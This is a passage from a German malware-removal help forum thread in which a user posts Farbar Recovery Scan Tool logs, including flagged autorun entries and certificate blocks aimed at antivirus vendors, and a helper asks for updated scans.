FirewallRules: [UDP Query User{4090B209-49DE-4A00-AA22-61541F35DA1C}C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\helloneighbor\helloneighbor\helloneighbour\binaries\win64\helloneighbour-win64-shipping.exe
FirewallRules: [TCP Query User{D708F925-06D9-4256-8202-3F4762014482}C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe
FirewallRules: [UDP Query User{3D9EDEFE-8940-4B66-B4F2-C7CE32744C78}C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe] => (Allow) C:\users\nick schuster\desktop\hello_neighbor_alpha_1\hello neighbor alpha 1\helloneighbor\helloneighborreborn\binaries\win64\helloneighborreborn-win64-shipping.exe
FirewallRules: [{64204D1E-A55F-44F5-8FA5-1E01527D722E}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{32F7B5EA-0ECA-4D23-9F23-07379BEA381C}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{4FF95AC7-EC5D-4600-AD0D-055FF8D32293}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [{16730D0F-F55B-4954-BE21-012786AF645E}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [TCP Query User{FF757347-BB96-48C2-895D-3245201BDF29}C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe] => (Block) C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe
FirewallRules: [UDP Query User{418F7263-9144-4F6E-89C2-567F4FC4D4B2}C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe] => (Block) C:\program files (x86)\minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe
FirewallRules: [{CC6C422C-F23C-43E9-849F-AB743F6EF50D}] => (Allow) C:\Program Files\Mozilla Firefox\firefox.exe
FirewallRules: [TCP Query User{398F9BD3-E78B-48BB-BA1E-1D07F750B4B8}C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe] => (Block) C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe
FirewallRules: [UDP Query User{80B3AFDD-761C-4E3D-961B-D5DEEB7D4037}C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe] => (Block) C:\program files\spiele\call of duty modern warfare remastered\h1_sp64_ship.exe
FirewallRules: [TCP Query User{BCF4E2CA-404F-42B4-B15A-1DC01A91FCD1}C:\program files (x86)\secondlifeviewer\slvoice.exe] => (Allow) C:\program files (x86)\secondlifeviewer\slvoice.exe
FirewallRules: [UDP Query User{FB5E0AAD-BEBA-4E6E-9548-7D5B5611E704}C:\program files (x86)\secondlifeviewer\slvoice.exe] => (Allow) C:\program files (x86)\secondlifeviewer\slvoice.exe
FirewallRules: [TCP Query User{8BA8D722-6016-406D-9E15-195324DC63A8}C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe] => (Block) C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe
FirewallRules: [UDP Query User{7F51C867-76EE-4250-8CF3-7B7EFE720FB8}C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe] => (Block) C:\users\nick schuster\appdata\local\mycomgames\mycomgames.exe
FirewallRules: [{2B3F7CC6-59B7-4284-858C-F526FDA6E80E}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
FirewallRules: [{6E1A0C9B-71D6-4408-A801-184E33CF6F48}] => (Allow) C:\Users\Nick Schuster\AppData\Local\Chromium\Application\chrome.exe
FirewallRules: [{A1305C14-D2A3-49FB-B1C5-84DBD2C016EE}] => (Allow) C:\Windows\SysWOW64\PnkBstrA.exe
FirewallRules: [{41BE6AEB-1FB9-4FE8-9A33-6BE94F8777CD}] => (Allow) C:\Windows\SysWOW64\PnkBstrA.exe
FirewallRules: [{00EC57C6-545A-4619-AAD9-ABD42ECD7175}] => (Allow) C:\Windows\SysWOW64\PnkBstrB.exe
FirewallRules: [{6293536B-CA56-4567-8598-4712417A6B4D}] => (Allow) C:\Windows\SysWOW64\PnkBstrB.exe
FirewallRules: [{9DF35FDD-92CF-4145-BDB7-D5B71F698ADF}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3.exe
FirewallRules: [{39DD858C-C5D5-4F81-88A5-638EAE48C1E2}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3.exe
FirewallRules: [{43C8EB70-C312-4BD4-98CF-A5D3E0A93072}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3_d3d11.exe
FirewallRules: [{13B756F9-75C0-4EEF-B149-81630829BF6B}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\farcry3_d3d11.exe
FirewallRules: [{CD142FC9-8278-4D60-822B-AC672B222BCC}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Updater.exe
FirewallRules: [{EED51691-BE3C-45CE-AE8E-A7D9CF8939E3}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Updater.exe
FirewallRules: [{1C86D69B-F99E-4AB0-9433-9823D1D6C77B}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Editor.exe
FirewallRules: [{9979D1DF-0F9C-4992-BA47-0A5506E83682}] => (Allow) C:\Program Files (x86)\Ubisoft\FarCry 3\bin\FC3Editor.exe
FirewallRules: [{0E7EF26A-91E2-4A99-A124-767A4E59B4C6}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{B50E54E0-7F56-45FF-B941-F4291BC08032}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer.exe
FirewallRules: [{EF6BDB74-45D8-46B1-B87C-1FDEE35C6A51}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [{EF947C32-1D81-4E83-A695-A9EC9219A3B3}] => (Allow) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
FirewallRules: [TCP Query User{653CFC91-4BAB-4C40-9B9E-01CC50B98589}C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe] => (Block) C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe
FirewallRules: [UDP Query User{B0BC62AE-48DE-42C7-8668-5DD556C0A6B7}C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe] => (Block) C:\program files (x86)\ubisoft\far cry 4\bin\farcry4.exe
FirewallRules: [{58DF4819-F2AA-4B93-A157-40849EF94D29}] => (Allow) C:\Windows\system32\rundll32.exe
FirewallRules: [{CBE7A874-9528-4366-AF1B-A0E916028D13}] => (Allow) C:\Users\Nick Schuster\AppData\Local\Chromium\Application\chrome.exe
FirewallRules: [{1BBF6F32-C108-4369-941D-843982F303E5}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{02B3354A-24E5-4248-8037-D10EC7114CDA}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{ACFC7F43-1E24-4A37-BB80-4D2F71DFD6AC}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{F3EB4D70-44AB-440F-99BE-EC17A5897398}] => (Allow) C:\Users\Nick Schuster\Downloads\mb3-setup-consumer-3.1.2.1733-1.0.122-1.0.1976.exe
FirewallRules: [{A3408888-D09A-47E4-AC38-D0F7F8F347D3}] => (Allow) C:\Program Files (x86)\MIO\loader\hgstxhts721010a9e630_jr10206p1v048m1v048mx.dat
FirewallRules: [{54CC17EB-AE90-4BB9-8A39-D37C3E50D836}] => (Allow) C:\Program Files (x86)\MIO\loader\hgstxhts721010a9e630_jr10206p1v048m1v048mx.dat
FirewallRules: [{33955FCC-97B4-465B-9229-AD6D73EAB1BE}] => (Allow) C:\Program Files (x86)\Applemy\Application\chrome.exe
FirewallRules: [{2C27DBA5-D9A5-4D9B-80D2-3B9661ED9A62}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{BB1CF779-C524-42C1-A743-1CB20B08A776}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
FirewallRules: [{EE31C349-1F57-40DC-9489-63C8AD2C2C63}] => (Allow) C:\Windows\System32\rundll32.exe
FirewallRules: [{E0A3B4CC-6DC2-47FF-97F6-FC1D2B1DFE26}] => (Allow) C:\Windows\System32\rundll32.exe

==================== Wiederherstellungspunkte =========================

28-05-2017 11:43:38 Windows Update
28-05-2017 20:39:08 DirectX wurde installiert
30-05-2017 14:03:51 Removed Samsung Kies
31-05-2017 17:31:09 Removed Vegas Pro 13.0 (64-bit)
01-06-2017 21:49:48 Installed NetAdapterUpdate

==================== Fehlerhafte Ger鋞e im Ger鋞emanager =============

Name:
Description:
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.

Name: USB2.0-CRW
Description: USB2.0-CRW
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.


==================== Fehlereintr鋑e in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/03/2017 01:58:25 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/03/2017 01:58:25 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/03/2017 01:58:25 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/03/2017 01:58:21 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xe90
Startzeit der fehlerhaften Anwendung: 0xLiveComm.exe0
Pfad der fehlerhaften Anwendung: LiveComm.exe1
Pfad des fehlerhaften Moduls: LiveComm.exe2
Berichtskennung: LiveComm.exe3
Vollst鋘diger Name des fehlerhaften Pakets: LiveComm.exe4
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: LiveComm.exe5

Error: (06/03/2017 01:58:20 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xe58
Startzeit der fehlerhaften Anwendung: 0xLiveComm.exe0
Pfad der fehlerhaften Anwendung: LiveComm.exe1
Pfad des fehlerhaften Moduls: LiveComm.exe2
Berichtskennung: LiveComm.exe3
Vollst鋘diger Name des fehlerhaften Pakets: LiveComm.exe4
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: LiveComm.exe5

Error: (06/03/2017 01:58:07 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0x3e8
Startzeit der fehlerhaften Anwendung: 0xLiveComm.exe0
Pfad der fehlerhaften Anwendung: LiveComm.exe1
Pfad des fehlerhaften Moduls: LiveComm.exe2
Berichtskennung: LiveComm.exe3
Vollst鋘diger Name des fehlerhaften Pakets: LiveComm.exe4
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: LiveComm.exe5

Error: (06/03/2017 01:58:05 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „Microsoft.WindowsAlarms_8wekyb3d8bbwe!App“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/02/2017 05:52:00 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/02/2017 05:51:54 PM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0x540
Startzeit der fehlerhaften Anwendung: 0xLiveComm.exe0
Pfad der fehlerhaften Anwendung: LiveComm.exe1
Pfad des fehlerhaften Moduls: LiveComm.exe2
Berichtskennung: LiveComm.exe3
Vollst鋘diger Name des fehlerhaften Pakets: LiveComm.exe4
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: LiveComm.exe5

Error: (06/02/2017 05:22:00 PM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.


Systemfehler:
=============
Error: (06/03/2017 01:59:23 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "Google Update-Dienst (gupdate)" wurde aufgrund folgenden Fehlers nicht gestartet:
%%2

Error: (06/03/2017 01:58:22 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca

Error: (06/03/2017 01:58:21 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca

Error: (06/03/2017 01:58:20 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca

Error: (06/03/2017 01:58:00 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: App.AppX2tphb21dp9jkkycchwvscnrxk12cys3z.mca

Error: (06/03/2017 01:57:58 PM) (Source: DCOM) (EventID: 10016) (User: RAZERLAP)
Description: AnwendungsspezifischLokalStart{7022A3B3-D004-4F52-AF11-E9E987FEE25F}{ADA41B3C-C6FD-4A08-8CC1-D6EFDE67BE7D}RAZERLAPNick SchusterS-1-5-21-3847841184-804715454-2304624315-1001LocalHost (unter Verwendung von LRPC)Nicht verf黦barNicht verf黦bar

Error: (06/03/2017 01:57:15 PM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Microsoft Cache Service" wurde mit folgendem Fehler beendet:
%%2

Error: (06/03/2017 01:57:15 PM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "Socket Illustration" wurde aufgrund folgenden Fehlers nicht gestartet:
%%2

Error: (06/03/2017 01:57:13 PM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "3DM" wurde mit folgendem Fehler beendet:
%%126

Error: (06/02/2017 05:51:55 PM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca


CodeIntegrity:
===================================
  Date: 2017-05-03 18:07:17.434
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 18:06:29.117
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:01.065
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:00.358
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:24:33.560
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 15:20:35.981
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 16:06:23.178
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.444
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.282
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.275
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz
Prozentuale Nutzung des RAM: 36%
Installierter physikalischer RAM: 4014.84 MB
Verf黦barer physikalischer RAM: 2568.73 MB
Summe virtueller Speicher: 4718.84 MB
Verf黦barer virtueller Speicher: 3391 MB

==================== Laufwerke ================================

Drive c: (NexusLap) (Fixed) (Total:869.8 GB) (Free:752.13 GB) NTFS
Drive d: (Recover) (Fixed) (Total:60 GB) (Free:42.31 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: B8E472D2)

Partition: GPT.

==================== Ende von Addition.txt ============================

M-K-D-B 03.06.2017 20:20
Servus,



deine Version von FRST ist total veraltet, bitte die aktuellste Version verwenden.

Zudem bitte ich Beachtung meiner Hinweise, insbesondere Punkt 6.

Des Weiteren bitte FRST so ausf黨ren:
  • Starte die FRST erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist.
  • Setze einen Haken vor Dateiliste 90 Tage und dr點ke auf Untersuchen.
  • FRST erstellt wieder zwei Logdateien (FRST.txt und Addition.txt).
  • Poste mir beide Logdateien mit deiner n鋍hsten Antwort.

NexsReloaded 05.06.2017 09:31
ich hab alles auf den desktop installiert und als admin ausgef黨rt aber ich kann den tdss.killer immer noch nicht starten.


FRST Logfile:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 02-06-2017
durchgef黨rt von Nick Schuster (Administrator) auf RAZERLAP (05-06-2017 10:15:16)
Gestartet von C:\Users\Nick Schuster\Desktop
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Platform: Windows 8.1 (Update) (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: "C:\Program Files (x86)\Firefox\Firefox.exe" -osint -url "%1")
Start-Modus: Normal
Anleitung f黵 Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
() C:\Program Files (x86)\Canon\IJPLM\ijplmsvc.exe
(DEVGURU Co., LTD.) C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
() C:\Windows\System32\igfxTray.exe
(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe
() C:\ProgramData\windows\windows.exe
() C:\Windows\Temp\gB39B.tmp.exe
() C:\Windows\Temp\gB40B.tmp.exe
() C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [AirServer64] => C:\Program Files\App Dynamic\AirServer\AirServer.exe
HKLM\...\Run: [AdobeAAMUpdater-1.0] => "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
HKLM\...\Run: [gplyra] => C:\Users\Nick Schuster\AppData\Roaming\gplyra\gplyra.exe [1555968 2017-04-24] () <===== ACHTUNG
HKLM-x32\...\Run: [BlueStacks Agent] => C:\Program Files (x86)\BlueStacks\HD-Agent.exe
HKLM-x32\...\Run: [Dropbox] => "C:\Program Files (x86)\Dropbox\Client\Dropbox.exe" /systemstartup
HKLM-x32\...\Run: [KMS] => C:\Windows\kmsonboot\autoact.exe
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)
HKLM-x32\...\Run: [IJNetworkScannerSelectorEX] => C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX\CNMNSST.exe [235624 2015-01-09] (CANON INC.)
HKLM-x32\...\Run: [CanonQuickMenu] => C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE [1314432 2016-06-09] (CANON INC.)
HKLM\...\RunOnce: [RAZERLAP] => C:\Windows\TEMP\gB39B.tmp.exe [307200 2017-06-05] () <===== ACHTUNG
HKLM\ DisallowedCertificates: 03D22C9C66915D58C88912B64C1F984B8344EF09 (Comodo Security Solutions) <==== ACHTUNG
HKLM\ DisallowedCertificates: 0F684EC1163281085C6AF20528878103ACEFCAAB (F-Secure Corporation) <==== ACHTUNG
HKLM\ DisallowedCertificates: 1667908C9E22EFBD0590E088715CC74BE4C60884 (U)
HKLM\ DisallowedCertificates: 18DEA4EFA93B06AE997D234411F3FD72A677EECE (U)
HKLM\ DisallowedCertificates: 2026D13756EB0DB753DF26CB3B7EEBE3E70BB2CF (U)
HKLM\ DisallowedCertificates: 249BDA38A611CD746A132FA2AF995A2D3C941264 (Malwarebytes Corporation) <==== ACHTUNG
HKLM\ DisallowedCertificates: 31AC96A6C17C425222C46D55C3CCA6BA12E54DAF (U)
HKLM\ DisallowedCertificates: 331E2046A1CCA7BFEF766724394BE6112B4CA3F7 (Trend Micro) <==== ACHTUNG
HKLM\ DisallowedCertificates: 3353EA609334A9F23A701B9159E30CB6C22D4C59 (U)
HKLM\ DisallowedCertificates: 373C33726722D3A5D1EDD1F1585D5D25B39BEA1A (SUPERAntiSpyware.com) <==== ACHTUNG
HKLM\ DisallowedCertificates: 3850EDD77CC74EC9F4829AE406BBF9C21E0DA87F (Kaspersky Lab) <==== ACHTUNG
HKLM\ DisallowedCertificates: 3D496FA682E65FC122351EC29B55AB94F3BB03FC (AVG Technologies CZ) <==== ACHTUNG
HKLM\ DisallowedCertificates: 4243A03DB4C3C15149CEA8B38EEA1DA4F26BD159 (PC Tools) <==== ACHTUNG
HKLM\ DisallowedCertificates: 42727E052C0C2E1B35AB53E1005FD9EDC9DE8F01 (K7 Computing Pvt Ltd) <==== ACHTUNG
HKLM\ DisallowedCertificates: 4420C99742DF11DD0795BC15B7B0ABF090DC84DF (Doctor Web Ltd.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 4C0AF5719009B7C9D85C5EAEDFA3B7F090FE5FFF (U)
HKLM\ DisallowedCertificates: 5240AB5B05D11B37900AC7712A3C6AE42F377C8C (Check Point Software Technologies Ltd.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 5DD3D41810F28B2A13E9A004E6412061E28FA48D (Emsisoft Ltd) <==== ACHTUNG
HKLM\ DisallowedCertificates: 7457A3793086DBB58B3858D6476889E3311E550E (U)
HKLM\ DisallowedCertificates: 76A9295EF4343E12DFC5FE05DC57227C1AB00D29 (BullGuard Ltd) <==== ACHTUNG
HKLM\ DisallowedCertificates: 775B373B33B9D15B58BC02B184704332B97C3CAF (McAfee) <==== ACHTUNG
HKLM\ DisallowedCertificates: 872CD334B7E7B3C3D1C6114CD6B221026D505EAB (Comodo Security Solutions) <==== ACHTUNG
HKLM\ DisallowedCertificates: 88AD5DFE24126872B33175D1778687B642323ACF (McAfee) <==== ACHTUNG
HKLM\ DisallowedCertificates: 9132E8B079D080E01D52631690BE18EBC2347C1E (Adaware Software) <==== ACHTUNG
HKLM\ DisallowedCertificates: 982D98951CF3C0CA2A02814D474A976CBFF6BDB1 (Safer Networking Ltd.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 9A08641F7C5F2CCA0888388BE3E5DBDDAAA3B361 (Webroot Inc.) <==== ACHTUNG
HKLM\ DisallowedCertificates: 9C43F665E690AB4D486D4717B456C5554D4BCEB5 (U)
HKLM\ DisallowedCertificates: 9E3F95577B37C74CA2F70C1E1859E798B7FC6B13 (U)
HKLM\ DisallowedCertificates: A1F8DCB086E461E2ABB4B46ADCFA0B48C58B6E99 (Avira Operations GmbH & Co. KG) <==== ACHTUNG
HKLM\ DisallowedCertificates: A5341949ABE1407DD7BF7DFE75460D9608FBC309 (U)
HKLM\ DisallowedCertificates: A59CC32724DD07A6FC33F7806945481A2D13CA2F (ESET) <==== ACHTUNG
HKLM\ DisallowedCertificates: AB7E760DA2485EA9EF5A6EEE7647748D4BA6B947 (AVG Technologies CZ) <==== ACHTUNG
HKLM\ DisallowedCertificates: AD4C5429E10F4FF6C01840C20ABA344D7401209F (Avast Antivirus/Software) <==== ACHTUNG
HKLM\ DisallowedCertificates: AD96BB64BA36379D2E354660780C2067B81DA2E0 (Symantec Corporation) <==== ACHTUNG
HKLM\ DisallowedCertificates: B8EBF0E696AF77F51C96DB4D044586E2F4F8FD84 (U)
